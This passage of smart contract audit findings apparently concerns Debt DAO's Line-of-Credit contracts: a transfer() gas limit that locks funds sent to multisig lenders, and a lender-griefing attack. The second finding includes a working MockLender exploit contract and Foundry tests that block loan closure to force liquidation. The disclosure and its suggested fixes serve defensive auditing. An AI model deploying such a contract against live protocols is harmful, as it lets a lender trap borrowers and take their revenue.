        uint256 escrowedAmount = claimed * self.settings[revenueContract].ownerSplit / 100;
        // update escrowed balance
        self.escrowed[token] = self.escrowed[token] + escrowedAmount;
        
        // send non-escrowed tokens to Treasury if non-zero
        if(claimed > escrowedAmount) {
            require(LineLib.sendOutTokenOrETH(token, self.treasury, claimed - escrowedAmount));
        }

        emit ClaimRevenue(token, claimed, escrowedAmount, revenueContract);
        
        return claimed;
    }

The bug exists in the payable(receiver).transfer(amount); line in sendOutTokenOrETH function in LineLib.sol. This is due to the "transfer" function used. It sets a limit of available gas to "2300" which is not enough to interact with the smart wallets or other contracts that need more gas to complete the transaction.

Example of three scenarios where funds or yield can be lost

1. Borrower and lender start a new credit line, borrower pays debt, lender (gnosis safe (multi-sig)) cannot withdraw (Loss of funds)
2. Spigot is configured for SpigotLine, cannot claim revenue to treasury (Loss of yield, protocol insolvency).
3. Borrower and lender start a new credit line, borrower pays debt, cannot close credit line, credit line become LIQUIDATABLE. (Loss of funds, protocol insolvency)

Proof of Concept

Borrower and lender start a new credit line, borrower pays debt, lender (gnosis safe (multi-sig)) cannot withdraw (Loss of funds)

Steps:

1. Borrower and lender both invoke addCredit. Lender transfers 1 ETH to the credit line
2. Borrower borrows 1 ETH from the credit line
3. Borrower repays the loan amount to the credit line
4. Lender tries to withdraw payed funds but transaction reverts.

Add the following test to LineOfCredit.t.sol:

    function _addCreditEth(address token, uint256 amount, address ourLender) internal {
        vm.prank(borrower);
        line.addCredit(dRate, fRate, amount, token, ourLender);
        vm.stopPrank();
        vm.prank(ourLender);
        line.addCredit{value: amount}(dRate, fRate, amount, token, ourLender);
        vm.stopPrank();
    }

    function test_cannot_withdraw_gnosis() public {
        uint256 amount = 1 ether;
        address eth = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
        //Random Gnosis safe
        address lenderSafe = address(0x5f5B8942aE6325227d5d82e5759E837271Fa2a67); 

        // fund lender contract and controller
        deal(address(lenderSafe), amount);
        // fund borrower
        deal(borrower, amount);

        // add credit to line
        _addCreditEth(eth, amount, lenderSafe);

        //borrow 1 ether
        bytes32 id = line.ids(0);
        vm.startPrank(borrower);
        line.borrow(id, amount);
        vm.stopPrank();
        
        // repay all debt
        vm.startPrank(borrower);
        line.depositAndRepay{value:amount}(amount);
        vm.stopPrank();

        // lender withdraws almost all debt 
        vm.prank(lenderSafe);
        vm.expectRevert();
        line.withdraw(id, amount);
        vm.stopPrank();
    }

The lender is a random gnosis safe user. For the POC to work, you need to use a private FORK. DO NOT RUN THIS ON MAINNET. ONLY ON PRIVATE FORK

execute forge test -v --fork-url=<URL OF PRIVATE FORK ENDPOINT>

Expected result:

[PASS] test_cannot_withdraw_gnosis() (gas: 302193)
Test result: ok. 1 passed; 0 failed; finished in 6.07s

For full trace and to view the revert, execute forge test -vvvv --fork-url=<URL OF PRIVATE FORK ENDPOINT>

POC results: Borrower repaid his debt but Lender cannot retrieve the funds. It is not retrievable.

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Replace payable(receiver).transfer(amount); With receiver.call{value: amount}("");.

As "transfer" also has reentrancy protections, additional reentrancy protections need to be implemented. Use checks-effects-interactions pattern and Reentrancy Guards

Lines of code

https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L488

Vulnerability details

Impact

In LineOfCredit.sol, the borrower can close the debt to the lender by repaying the debt using depositAndRepay and calling the close function or by calling depositAndClose.

The protocol expects the lender to receive the funds and close the debt when _close is called (either by depositAndClose or close: https://github.com/debtdao/Line-of-Credit/blob/e8aa08b44f6132a5ed901f8daa231700c5afeb3a/contracts/modules/credit/LineOfCredit.sol#L487

        // return the Lender's funds that are being repaid
        if (credit.deposit + credit.interestRepaid > 0) {
            LineLib.sendOutTokenOrETH(
                credit.token,
                credit.lender,
                credit.deposit + credit.interestRepaid
            );
        }

        delete credits[id]; // gas refunds

        // remove from active list
        ids.removePosition(id);

Because _close() sends the funds to the lender, a lender is able to revert the transaction. (Note: a lender can still withdraw the remaining debt after the expiry date using the withdraw function).

This bug causes the following impact:

• The function depositAndClose() becomes unusable.
• Credit line will stay open until the expiry date.

The above can be misused in several ways that can profit a lender, there could be multiple incentives for the lender to not close the debt:

1. Borrower has already payed almost all (or all) the debt and the lender wants to gain more facility fees. (which could be payed out as collateral at the expiry date)

2. Borrower has already payed almost all (or all) the debt and the lender wants to get all unused tokens (revenue) in spigot escrow at expiry date.

3. The function depositAndClose() becomes unusable therefore the lender can sabotage the DAO. The lender could be a competitor that has offered a small loan to the borrower. By not closing the loan, the lender can block larger investments (next in line credit ids), until the expiry date, where the status of all credit lines becomes LIQUIDATABLE.

• Note:
  • Incentive #3 is relevant for the use of depositAndClose() function, as mentioned above it becomes unusable thus the borrower cant close the loan.
  • Incentive #3 is not relevant for the use of depositAndRepay function.

In general, changing the state of the credit line to LIQUIDATABLE is not good for the borrower and the lender receives benefits. This link describes some of the actions that can be taken in favor of the lender if LIQUIDATABLE state is set: https://docs.debtdao.finance/products/line-of-credit/loan-impairment-and-lender-recourse

Proof of Concept

POC scenario/flow:

1. A Lender contract is created by a dishonest lender (lenderController). A threshold of 99% of the lended amount is set as a trigger to stop receiving funds. (can be lower then 99%, any percent that is profitable to the lender)
2. The lender opens a new credit line with the Borrower.
3. The borrower borrows 1 ETH.
4. The borrower repays 1 ETH (can be done in multiple stages)
5. The lender withdraws the threshold (99% of 1 ETH).
6. The borrower attempts to closes the debt and pays remaining deposited debt to the lender (1% of 1 ETH)
7. The lender reverts the transaction, keeps the credit line to gain facility fees and spigot revenue escrowed.
8. The lender waits until the expiry date (TTL). and Withdraws the rest of the loan (1% of ETH).

To reproduce the POC add the following: MockLender.sol in mock folder:

pragma solidity 0.8.9;

import { ILineOfCredit } from "../interfaces/ILineOfCredit.sol";

contract MockLender {
    address owner;
    ILineOfCredit line;
    uint256 threshold;
    bytes32 id;
    uint256 repayed;
    uint256 loanAmount;

    constructor(address _line) public {
        line = ILineOfCredit(_line);
        owner = msg.sender;
    }

    function addCredit(
        uint128 drate,
        uint128 frate,
        uint256 amount,
        address token
    ) external {
        require(msg.sender == owner, "Only callable by owner");
        address eth = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
        loanAmount = amount;
        threshold = (loanAmount / 100) * 99; // 99%
        if(token == eth){
            id = line.addCredit{value: amount}(drate, frate, amount, token, address(this));
        }
    }

    function withdrawThreshold() external{
        require(msg.sender == owner, "Only callable by owner");
        line.withdraw(id, threshold);
        owner.call{value: threshold}("");
        repayed += threshold;
    }
    function withdrawRemaining() external{
        require(msg.sender == owner, "Only callable by owner"); 
        uint256 amountToWithdraw =  loanAmount-repayed; // needs to be optimized to get payed interest
        threshold = loanAmount;
        line.withdraw(id, amountToWithdraw);
        owner.call{value: amountToWithdraw}("");
        repayed += amountToWithdraw;
    }

    receive() external payable {
        if(repayed >= threshold){
            revert("Reached threshold.. blocking");
        }
    }

}

Import MockLender to LineOfCredit.t.sol test:

import { MockLender } from "../mock/MockLender.sol";

Add the following test to LineOfCredit.t.sol:

    function test_dont_close() public {
        uint256 amount = 1 ether;
        address eth = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);

        // Create lenderController 
        address lenderController = address(0xdeadbeef);
        
        // Create lenderContract 
        vm.prank(lenderController);
        MockLender lenderContract = new MockLender(address(line));
        vm.stopPrank();


        // fund lender contract and controller
        deal(address(lenderContract), amount);
        deal(address(lenderController), amount);
        // fund borrower
        deal(borrower, amount);

        // add credit to line
        vm.prank(borrower);
        line.addCredit(dRate, fRate, amount, eth, address(lenderContract));
        vm.stopPrank();

        vm.prank(lenderController);
        lenderContract.addCredit(dRate, fRate, amount, eth);
        vm.stopPrank();

        //borrow 1 ether
        bytes32 id_first = line.ids(0);
        vm.startPrank(borrower);
        line.borrow(id_first, amount);
        vm.stopPrank();
        
        // repay all debt
        vm.startPrank(borrower);
        line.depositAndRepay{value:amount}(amount);
        vm.stopPrank();

        // lender withdraws almost all debt (99%)
        vm.prank(lenderController);
        lenderContract.withdrawThreshold();
        vm.stopPrank();

        //borrower tries closes debt but gets a revert.
        vm.startPrank(borrower);
        vm.expectRevert("Reached threshold.. blocking");
        line.close(id_first);
        vm.stopPrank();

        //fast forward to deadline
        vm.warp(ttl+1);
        //update status to LIQUIDATABLE
        assert(line.healthcheck() == LineLib.STATUS.LIQUIDATABLE);

        //Withdraw remaining funds
        vm.prank(lenderController);
        lenderContract.withdrawRemaining();
        vm.stopPrank();
        
        //validate lender has all his money (no loss)
        assert(address(lenderController).balance == amount*2);
        //continue to liquidation of borrower
    }

Execute forge test -v

Expected output:

[PASS] test_dont_close() (gas: 715105)
Test result: ok. 1 passed; 0 failed; finished in 1.37ms

The test checks:

• Close method reverted as foundry expected vm.expectRevert("Reached threshold.. blocking");
• Credit line defaulted and state became LIQUIDATABLE assert(line.healthcheck() == LineLib.STATUS.LIQUIDATABLE);
• Lender was able to retrieve his loan assert(address(lenderController).balance == amount*2);

Execute forge test -vvv to see full trace of calls and the revert on close(id) function

Tools Used

VS Code, Foundry.

Recommended Mitigation Steps

Do not send money to lender when closing the debt. Instead, save outstanding withdraw credit information in a separate map (mapping(bytes32 => Credit) public closedCredits and allow the lender to withdraw from the separate map after the debt has been closed.